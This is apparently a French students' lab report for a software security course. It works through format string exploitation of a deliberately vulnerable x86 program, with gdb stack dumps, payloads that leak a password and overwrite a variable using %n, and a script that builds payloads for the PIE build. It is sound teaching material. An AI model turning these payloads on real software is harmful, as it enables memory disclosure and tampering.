--- title: "Sécurité logicielle : TD6 String, format, vulnérabilité" date: 2023-03-10 author: - Yorick Barbanneau - Gwendal Aupee tags: ["Assembleur", "x86"] categories: ["Sécurité logicielle", "TD"] --- ## Partie 1 ### Question 1 Ce programme affiche une première ligne avec les éléments suivants (dans l'ordre)": * `c` * `AAAA` * `0x00000009` * `AAAA` Il affiche ensuite la valeur de `value` dans une seconde ligne. Cette valeur a été définie par notre premier `fprintf` grâce à `%n`. ### Question 2 Grâce au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer dans la pile et ainsi afficher les adresses. ``` %p pframe [...] 0xffffd60c 0x56555500 0xffffd608 0xffffd700 0xffffd604 0xf7fdb8d0 0xffffd600 0xffffd6c8 0xffffd5fc 0xffffd63c 0xffffd5f8 0xf7fc2540 0xffffd5f4 0x0804bff4 0xffffd5f0 0xf63d4e2e 0xffffd5ec 0x08049192 0xffffd5e8 0x080482ac 0xffffd5e4 0xf7c73230 <- '%p' 0xffffd5e0 0xffffd63c <- format 0xffffd5dc sp 0x080491b4 (gdb) n Single stepping until exit from function printf, which has no line number information. 0xf7c73230 <- on a bien l'affichage de %p ``` C'est exactement la démarche vue en cours pour détourner `printf` de son usage de base. Avec la version PIE, c'est exactement la même chose: on affiche l'élément juste au dessus du format avec `%p`. ### question 3 Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui représente une remontée dans la pile de 22 éléments. Il nous a suffit de saisir `%22$p` pour afficher le contenu comme dans le code ci-dessous ```bash ./build/vulnerable-1_32 %22$p 0xffffc8a8 ``` ### Question 4 Afin de saisir les 4 entiers , nous avons créé un fichier de commandes gdb modifié comme ci-dessous pour automatiser la saisie: ```gdb b printf r < <(echo -e '\x31\x32\x33\x34') ``` Il est possible de lancer l'opération avec notre `Makefile` qui se charge de toutes les actions : ```bash make gdb_vulnerable-1_32 ``` Nous pouvons maintenant afficher l'adresse de `buf` dans gdb: ``` p &buf $2 = (char (*)[128]) 0xffffd56c ``` Au moment du `printf`, `SP` se situe à `0xffffd50c`, on en déduit par soustraction que notre `buf` se trouve à 96 octets plus bas que notre pointeur de pile. En prenant en compte les adresses 32bits et la *strack frame* contenant le format, nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée: ```bash echo -e '\x31\x32\x33\x34 %23$p' | ./build/vulnerable-1_32 1234 0x34333231 ``` L'adresse donnée dans le `echo` est donnée à l'envers (bits de poind fort en dernier) car l'architecture *Intel* est de type *little endian*. ### Question 5 D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c` Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé ```bash echo -e '\x1c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 secret_password ``` La technique est simple : on injecte dans le buffer l'adresse de la variable `passwd` découverte au dessus et la "commande" `printf` à utiliser pour afficher ce qui se trouve à cette adresse. ### question 6 Le fonctionnement est le même que la question 5 : `objdump` + `echo`. Il nous suffit d'afficher l'adresse de `target`: ``` objdump -D build/vulnerable-1_32 | grep target 0804c02c : ``` Puis de forger notre entrée. Afin d'afficher les caractères, il est nécessaire d'utiliser `hexdump` sur notre machine: ```bash echo -e '\x2c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 | hexdump -C 00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..| 0000000b ``` ### Question 7 Une fois que nous avons affiché le contenu de la variable `target`, nous allons pouvoir la modifier en changeant son contenu avec le format `%n` : ```bash echo -e '\x2c\xc0\x04\x08 %23$n' | ./build/vulnerable-1_32 you have modified the target to 0x6! ``` ### Question 8 Une fois la première modification appliquée, il ne reste plus qu'à forger le paramètre de notre format pour rendre la condition `if (target == 0x00025544)` vrai. `0x25544` est égal à 152900, en prenant en compte les caractères avant, notre décalage est de 152896 pour mettre la bonne valeur dans `target` (le décalage contient les 4 octets de l'adresse) ```bash echo -e '\x2c\xc0\x04\x08%152896p%23$n' | ./build/vulnerable-1_32 # [...] 0xf7c73230 you have hacked it! ``` ### Question 9 Pour réaliser les 3 questions précédentes avec l'exécutable *PIE*, nous allon avoir besoin des éléments suivants: * l'adresse de `main()` et de `target` que nous pouvons obtenir avec les deux commandes suivantes : ```bash objdump -D build/vulnerable-1_32-pie | grep "
" | awk '{print $1}' objdump -D build/vulnerable-1_32-pie | grep "" | awk '{print $1}' ``` * lors de l'exécution de notre exécutable vulnérable, l'adresse de retour de la fonction `foo()` que nous obtiendrons avec `%15$p`. Nous avond obtenu cette valeur en observant l'exécutable avec `gdb` en utilisant `pframe` Voici un exemple d'exécution de l'exécutable avec la charge utile permettant d'extraire le contenu de `target`. ``` (echo '%15$p'; read hack; echo -e "$hack") | ./build/vulnerable-1_32-pie 0x565b92b4 \\x2c\\xc0\\x5b\\x56 %23$s ,[V 123 ``` Comme nous sommes des administrateurs systèmes - et donc fainéants dans l'âme - nous avons écrit un script permettant de réaliser **les calculs nécessaires pour la saisie de l'adresse**. Ce script est disponible dans l'archive jointe à ce rapport. Il suffit de l'exécuter avec le paramètre `-i` pour qu'il affiche les étape de création de la charge utile. L'adresse de retour de `foo` peut être passée en paramètre via l'option `-a` sinon il sera demandé de la saisir. Voici un exemple d'exécution du script: ``` ./hack.sh -i -a 0x5655a2b4 Info: I have the address: 0x5655a2b4 Info: remove 0x on address begining 5655a2b4 Info: Get main() and target address with objdump * main: 0000124c * target: 0000402c Info: Caclulate the difference between this two address: * delta: 11744 Info: get the main() address on our executable : get the 3 fist numbers of addr and the last one of the main address reported by `objdump` * main() address on pie process: 5655a24c Info: Add the delta to main() address * `target` address on pie process: 5655d02c Info: Put the target address in the right order: * address payload: \\x2c\\xd0\\x55\\x56 Get the Target : \\x2c\\xd0\\x55\\x56 %23$s Modify the Target: \\x2c\\xd0\\x55\\x56 %23$s Hack the Target: \\x2c\\xd0\\x55\\x56%152896p%23$n ``` Le script donne enfin les charges utiles pour les question 6. 7 et 8 applicable à la version PIE de `vulnerable`. Il suffit de copier-coller la charge utile désirée dans la saisie attendue par l'exécution de `vulnerable-1_32-pie`. Nous sommes obligé d'échapper l'antislash de nos valeurs hexadécimales car notre saisie passe par la variable `hack` avant d'être utilisée par le `echo`.